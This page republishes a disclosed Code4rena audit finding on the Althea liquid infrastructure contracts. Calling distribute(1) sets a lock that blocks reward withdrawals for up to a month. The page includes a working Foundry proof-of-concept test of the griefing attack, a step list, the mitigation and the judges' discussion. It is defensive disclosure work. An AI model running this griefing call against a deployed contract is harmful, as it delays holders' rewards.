Skip to content
DoS Audit finding Intermediate

Malicious users can prevent holders from claiming their rewards during a reward cycle by skipping it.

A malicious user can call the distribute function with a minimal amount even when no rewards are available, setting a lock that prevents anyone from withdrawing rewards from managed NFTs. This delays reward distribution for the entire minimum distribution period, which could be up to a month.

Fassi_Security Follow with max10afternoon, 0xJoyBoy03 and 1 other

Originally disclosed on Code4rena

Submitted by Fassi_Security, also found by max10afternoon, 0xJoyBoy03, and web3pwn

The Sponsors noted via discord communication:

"The most likely configuration would be roughly weekly or monthly, based on average block times."

"Althea-L1 will have a mempool, ..."

This is important to mention because this issue would not be significant if the minimum time between reward distribution was, for example, 100 blocks; and since there is a mempool, front-running is possible.

The project holds liquid NFTs, which accumulate rewards. These rewards are used to reward the erc20 token holders. These rewards are transferred to the liquiderc20 contract by using the two following functions:

	 function withdrawFromAllManagedNFTs() public {
        withdrawFromManagedNFTs(ManagedNFTs.length);
    }
    function withdrawFromManagedNFTs(uint256 numWithdrawals) public {
        require(!LockedForDistribution, "cannot withdraw during distribution");
        if (nextWithdrawal == 0) {
            emit WithdrawalStarted();
        }
        uint256 limit = Math.min(
            numWithdrawals + nextWithdrawal,
            ManagedNFTs.length
        );
        uint256 i;
        for (i = nextWithdrawal; i < limit; i++) {
            LiquidInfrastructureNFT withdrawFrom = LiquidInfrastructureNFT(
                ManagedNFTs[i]
            );
            (address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
            withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
            emit Withdrawal(address(withdrawFrom));
        }
        nextWithdrawal = i;
        if (nextWithdrawal == ManagedNFTs.length) {
            nextWithdrawal = 0;
            emit WithdrawalFinished();
        }
    }

However, the problem here is the following check inside withdrawFromManagedNFTs:

require(!LockedForDistribution, "cannot withdraw during distribution");

Even when there are 0 rewards in the current contract, a malicious user can still call distribute(1) to start the distribution process and to set the LockedForDistribution boolean to true.

This results in no one being able to call withdrawFromManagedNFTs to get the rewards inside the erc20 contract to distribute, which results in the next reward cycle being after block.number + MinDistributionPeriod.

Proof of Concept

There are roughly 7000 blocks per day, so we will use (7000 * 30) = 210000 blocks to mock a distribution period of roughly 1 month.

We have written a Proof of Concept using Foundry, please follow the instructions provided and read the comments in the PoC for documentation.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
// git clone https://github.com/althea-net/liquid-infrastructure-contracts.git
// cd liquid-infrastructure-contracts/
// npm install
// forge init --force
// vim test/Test.t.sol
	// save this test file
// run using:
// forge test --match-test "testGrieveCycles" -vvvv

import {Test, console2} from "forge-std/Test.sol";
import { LiquidInfrastructureERC20 } from "../contracts/LiquidInfrastructureERC20.sol";
import { LiquidInfrastructureNFT } from "../contracts/LiquidInfrastructureNFT.sol";
import { TestERC20A } from "../contracts/TestERC20A.sol";
import { TestERC20B } from "../contracts/TestERC20B.sol";
import { TestERC20C } from "../contracts/TestERC20C.sol";
import { TestERC721A } from "../contracts/TestERC721A.sol";

contract ERC20Test is Test {
    LiquidInfrastructureERC20 liquidERC20;
    TestERC20A erc20A;
    TestERC20B erc20B;
    TestERC20C erc20C;
    LiquidInfrastructureNFT liquidNFT;
    address owner = makeAddr("Owner");
    address alice = makeAddr("Alice");
    address bob = makeAddr("Bob");
    address charlie = makeAddr("Charlie");
    address delta = makeAddr("Delta");
    address eve = makeAddr("Eve");
    address malicious_user = makeAddr("malicious_user");

    function setUp() public {
      vm.startPrank(owner);
      // Create a rewardToken
      address[] memory ERC20List = new address[](1);
      erc20A = new TestERC20A();
      ERC20List[0] = address(erc20A);

      // Create managed NFT
      address[] memory ERC721List = new address[](1);
      liquidNFT = new LiquidInfrastructureNFT("LIQUID");
      ERC721List[0] = address(liquidNFT);

      // Create approved holders
      address[] memory holderList = new address[](5);
      holderList[0] = alice;
      holderList[1] = bob;
      holderList[2] = charlie;
      holderList[3] = delta;
      holderList[4] = eve;

      // Create liquidERC20 and mint liquidERC20 to the approved holders
      liquidERC20 = new LiquidInfrastructureERC20("LiquidERC20", "LIQ", ERC721List, holderList, 210000, ERC20List);
      liquidERC20.mint(alice, 1e18);
      liquidERC20.mint(bob, 1e18);
      liquidERC20.mint(charlie, 1e18);
      liquidERC20.mint(delta, 1e18);
      liquidERC20.mint(eve, 1e18);

      // Add threshold and rewardToken to liquidNFT
      uint256[] memory amountList = new uint256[](1);
      amountList[0] = 100;
      liquidNFT.setThresholds(ERC20List, amountList);
      liquidNFT.transferFrom(owner, address(liquidERC20), 1);

      // Mint 5e18 rewardTokens to liquidNFT
      erc20A.mint(address(liquidNFT), 5e18);
      vm.stopPrank();
    }

    function testGrieveCycles() public {
      // Go to block 210001, call withdrawFromAllManagedNFTs to get the rewards, and distribute everything to bring the token balance of the reward token to 0. This is just a sanity check.
      vm.roll(210001);
      liquidERC20.withdrawFromAllManagedNFTs();
      liquidERC20.distributeToAllHolders();

      // Go to block ((210000 * 2) + 1).
      vm.roll(420001);

	  // Malicious user calls distribute
      // This makes it temporarily unavailable to withdraw the rewards.
      vm.prank(malicious_user);
      liquidERC20.distribute(1);

      // Rewards can't be pulled or withdrawn from the ERC20 contract.
      vm.expectRevert();
      vm.prank(owner);
      liquidERC20.withdrawFromAllManagedNFTs();

      // This sets the next reward period to start at ((210000 * 3) + 1).
      vm.startPrank(owner);
      liquidERC20.distributeToAllHolders();
      liquidERC20.withdrawFromAllManagedNFTs();
      vm.stopPrank();

      // Alice tried to get the rewards she had earned but could not get them, even with the rewards being in this contract, because the next reward cycle
      // starts at block ((210000 * 2) + 1).
      vm.expectRevert();
      vm.prank(alice);
      liquidERC20.distributeToAllHolders();
    }
}

As you can see by running our PoC, a whole month of rewards is unable to be claimed by approved holders due to any person calling the distribute function; even if there are 0 rewards currently able to be distributed to the approved holders. For a project that is built upon rewarding its holders at a fixed period of time, this breaks the core functionality of the project.

Tools Used

Foundry

Recommended Mitigation Steps

Do not start a distribution cycle if there are no rewards that can be paid out to the approved holders and keep track of the rewards currently held in the liquidNFT. Only start reward cycles when this amount that is held in the liquidNFT is sent to the liquidERC20. This prevents malicious users from sending 1 wei of rewardTokens to the liquidERC20 to maliciously start a distribution cycle.

ChristianBorst (Althea) acknowledged and commented via duplicate issue #594:

I think this is a valid suggestion but does not pose a risk to the protocol. This could enable a malicious owner (which is already a highly trusted role) to avoid distributing revenue to holders before minting new tokens.

There is no restriction on distribution frequency, a user could call distributeToAllHolders() multiple times every single block without withdrawing rewards from the ManagedNFTs if they want to pay the gas to do so. Even if a user decides to pay all that gas, nothing is preventing any other accounts from withdrawing rewards from the ManagedNFTs and performing yet another distribution to actually distribute the revenue to the holders.

I think that there is an argument to restrict owner misbehavior by forcing withdrawal before distribution, but the recommended mitigation strategy would introduce a new DoS vector to the protocol.

0xA5DF (judge) commented via duplicate issue #594:

There is no restriction on distribution frequency, a user could call distributeToAllHolders() multiple times every single block.

There is actually a restriction, you have to wait MinDistributionPeriod before calling it again (code).

Issue #119, is more clear and the mitigation makes more sense (ensuring withdrawFromManagedNFTs() was completed before starting distribution). Given that the minimum period is going to be about a week or a month I think this is a valid medium issue.

0xA5DF (judge) decreased severity to Medium and commented:

Marking as medium, as this is mostly only a temporarily grief of funds, and this would only happen if nobody calls withdrawFromManagedNFTs().

bronze_pickaxe (warden) commented:

@0xA5DF - We agree this should be of medium severity because it’s a temporary grief of funds.

As you correctly mentioned in your comment, this only happens if nobody calls withdrawFromManagedNFTs. Therefore, we ask you to consider de-duping the following dupes because they both describe another attack path, starting from someone calling withdrawFromManagedNFTs:

#594 and #227 both describe the following attack path in the wrong:

  • calling withdrawFromManagedNFTs

    • if only one NFT distributes the reward, both these issues are invalid since they will still be fully distributed.
  • calling distribute() This is not the same as our report since the attack path that leads to skipping a reward cycle with no distribution is:

  • distribute()

  • withdrawFromManagedNFTs There is no mention of calling distribute() before withdrawFromManagedNFTs.

#218 correctly identified the attack vector of calling withdrawFromManagedNFTs and distribute() in the wrong order, being: 1.distribute() 2.withdrawFromManagedNFTs This report correctly mentioned the attack path, unlike the other two.

0xA5DF (judge) commented:

I agree that they don’t fully identify the impact and don’t describe the issue well, but it seems like they’re touching on it:

  • Holders must wait for another MinDistributionPeriod (30 days) to receive their shares from other assets of ManagedNFTs. their assets will freeze for another 30 days.
  • This leads to a scenario where it the user might trigger withdrawFromManagedNFTs for a portion of managed NFTs, and then attacker calls distribute which block another call to withdrawFromManagedNFTs from finishing its work. That way only partial amount of rewards will be distributed since withdrawFromManagedNFTs did not pull all rewards.

I’ll give them partial credit.


The original report as published on Code4rena, by Fassi_Security. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Reward distribution is delayed for the minimum distribution period (e.g., a month), preventing holders from claiming rewards during that time; the judge noted this is mostly a temporary grief and only happens if nobody calls withdrawFromManagedNFTs.

What the attacker needed

Attacker has a funded account; Minimum distribution period has passed; No one else calls withdrawFromManagedNFTs

The fix

The distribution cycle should not start unless there are rewards to distribute, and the contract should track rewards held in the managed NFTs and only start cycles after those rewards are withdrawn.

How it was found

  1. Wait until the minimum distribution period has passed since the last distribution.
  2. Call the distribute function with a small amount (e.g., 1) to start a distribution cycle and set the lock.
  3. Attempts to call withdrawFromManagedNFTs will now revert due to the lock.
  4. After the distribution period ends, the next reward cycle is delayed by the minimum period.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a smart contract bug where a function that starts a reward distribution can be called by anyone, even if there are no rewards to give out. Calling it locks the contract so that rewards cannot be withdrawn from the NFTs that hold them, and the lock lasts for a set period (like a month). So an attacker can repeatedly trigger this to stop people from getting their rewards on time.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Fassi_Security

View all

1 more disclosed report, best first.

More from Althea Liquid Infrastructure

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.